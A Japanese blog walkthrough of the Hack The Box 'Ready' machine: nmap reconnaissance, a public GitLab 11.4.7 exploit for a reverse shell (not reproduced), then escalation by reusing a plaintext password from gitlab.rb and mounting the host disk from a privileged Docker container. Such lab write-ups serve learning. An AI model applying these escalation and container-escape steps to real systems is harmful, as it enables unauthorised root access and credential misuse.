家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Ready

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.220                                                                           
Starting Nmap 7.92 ( https://nmap.org )
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 0.44% done Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 1.20% done; ETC: 11:23 (0:09:38 remaining) Warning: 10.10.10.220 giving up on port because retransmission cap hit (6). Stats: 0:11:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 98.21% done; ETC: 11:25 (0:00:13 remaining) Nmap scan report for 10.10.10.220 Host is up (0.18s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in 9412/tcp filtered unknown 25896/tcp filtered unknown 47210/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TCP/22,5080が開いていることがわかりました。

TCP/5080にブラウザにアクセスするとGitLabのページが表示されました。

ブラウザでアクセスした様子

※その他niktoやdirbからは有用な情報は見つけられませんでした。

 

アクセス取得

上記ページでユーザの登録が可能でした。
ユーザを登録しログインすると、Helpのページが見れるようになり、そこでGitLabのバージョンが11.4.7(赤字でアップデートの通知も出ているもの)であることがわかりました。

 

上記バージョンで検索するとExploitの情報が見つかりました。

※自分の環境ではExploit-DBにあったものをうまく動かすことができず、以下のサイトのものを使用させていただきました。Payloadのコマンド部分にあるncが動きませんでした。

github.com

上記Exploitのコードの中でIPアドレスを指定している部分をReadyのIPに変更して実行します。

また、実行するにはリバースシェルを配置するためのHTTPサーバと最終的なリバースシェルの待ち受けが必要になります。

Exploitを実行するとシェルが取得できました。

アクセス取得

権限昇格

/に.dockerenvというファイルがありました。

また以下のコマンド実行結果から、現在コンテナ環境の中にいることがわかります。

git@gitlab:/$ cat /proc/1/cgroup
cat /proc/1/cgroup
12:pids:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
11:memory:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
10:perf_event:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
9:devices:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
8:freezer:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
7:rdma:/
6:hugetlb:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
5:cpuset:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
4:net_cls,net_prio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
3:cpu,cpuacct:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
2:blkio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
1:name=systemd:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
0::/system.slice/containerd.service

docker関連のファイルを探してみます。

git@gitlab:/opt/backup$ find / -name 'docker*' 2>/dev/null
find / -name 'docker*' 2>/dev/null
/opt/gitlab/embedded/service/gitlab-rails/docker-compose.yml
/opt/gitlab/embedded/service/gitlab-rails/doc/install/docker.md
/opt/gitlab/embedded/service/gitlab-rails/doc/ci/docker
/opt/gitlab/embedded/service/gitlab-rails/doc/ci/services/docker-services.md
/opt/gitlab/embedded/service/gitlab-rails/doc/api/templates/dockerfiles.md
/opt/gitlab/embedded/service/gitlab-rails/docker
/opt/gitlab/embedded/service/gitlab-rails/lib/gitlab/template/dockerfile_template.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/fog-google-1.7.1/ci/docker-image
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/demos/docker
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.3.0/lib/rouge/lexers/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/sidekiq-cron-0.6.0/docker-compose.yml
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_image_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/spec/type/linux/docker_container_pre_1_8_spec.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_image.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_base.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/serverspec-2.41.3/lib/serverspec/type/docker_container.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/ace-rails-ap-4.1.2/vendor/assets/javascripts/ace/snippets/dockerfile.js
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/flipper-0.13.0/docker-compose.yml
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/helper/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/docker.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/specinfra-2.76.2/lib/specinfra/backend/dockerfile.rb
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/demos/docker
/opt/gitlab/embedded/lib/ruby/gems/2.4.0/gems/rouge-3.2.1/lib/rouge/lexers/docker.rb
/opt/backup/docker-compose.yml
/usr/share/vim/vim74/ftplugin/dockerfile.vim
/usr/share/vim/vim74/syntax/dockerfile.vim
/etc/apt/apt.conf.d/docker-gzip-indexes
/etc/apt/apt.conf.d/docker-clean
/etc/apt/apt.conf.d/docker-no-languages
/etc/apt/apt.conf.d/docker-autoremove-suggests
/etc/dpkg/dpkg.cfg.d/docker-apt-speedup

/opt/backup/docker-compose.ymlの中を見るとprivileged:trueという文字列が確認できました。

※「docker-compose.yml」はDockerの構成を定義したもので、コンテナはyamlの記載内容を元に起動します。また、「Privileged」は、ホストコンピュータに対するすべてのルート権限を備えたコンテナであることを示します。

git@gitlab:/opt/backup$ cat docker-compose.yml
cat docker-compose.yml
version: '2.4'
services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
      - '/opt/user:/home/dude/'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m
networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

また、同じディレクトリにあるgitlab.rbの中にパスワードの記載がありました。

git@gitlab:/opt/backup$ cat gitlab.rb | grep password
cat gitlab.rb | grep password
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 `
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

 

上記パスワードでsuを実行するとrootになりましたが、root.txtは見つかりません。

capsh --printで、現時点でのプロセスのケーパビリティの設定を見る事が出来ます。

実行結果には、cap_sys_admin、cap_sys_ptrace、cap_dac_override、cap_dac_read_search、およびcap_sys_moduleが許可されており、パーティションのマウント操作が可能となります。

マウント操作により、root.txtが見つかりました。

 

root@gitlab:~# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip

Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)


root@gitlab:/# mkdir -p /tmp/porepore
mkdir -p /tmp/porepore
root@gitlab:/# mount /dev/sda2 /mnt/porepore
mount /dev/sda2 /mnt/porepore

root@gitlab:/# cd /mnt/porepore
cd /mnt/porepore

root@gitlab:/mnt/porepore# ls -al
ls -al
total 100
drwxr-xr-x  20 root root  4096 Apr  5  2022 .
drwxr-xr-x   1 root root  4096 Oct  9 13:19 ..
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Apr  5  2022 boot
drwxr-xr-x   2 root root  4096 Apr  5  2022 cdrom
drwxr-xr-x   5 root root  4096 Dec  4  2020 dev
drwxr-xr-x 102 root root  4096 Apr  5  2022 etc
drwxr-xr-x   3 root root  4096 Jul  7  2020 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 May  7  2020 lost+found
drwxr-xr-x   2 root root  4096 Apr 23  2020 media
drwxr-xr-x   2 root root  4096 Apr  5  2022 mnt
drwxr-xr-x   4 root root  4096 Apr  5  2022 opt
drwxr-xr-x   2 root root  4096 Apr 15  2020 proc
drwx------  10 root root  4096 Apr  5  2022 root
drwxr-xr-x  10 root root  4096 Apr 23  2020 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 Apr  5  2022 snap
drwxr-xr-x   2 root root  4096 Apr  5  2022 srv
drwxr-xr-x   2 root root  4096 Apr 15  2020 sys
drwxrwxrwt  13 root root 12288 Oct  9 13:23 tmp
drwxr-xr-x  14 root root  4096 Apr  5  2022 usr
drwxr-xr-x  14 root root  4096 Dec  4  2020 var
root@gitlab:/mnt/porepore# cd root
cd root
root@gitlab:/mnt/porepore/root# cat root.txt
cat root.txt
af4f47~~~~~~~~~~~~~~~~295d
root@gitlab:/mnt/porepore/root# 

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

medium.com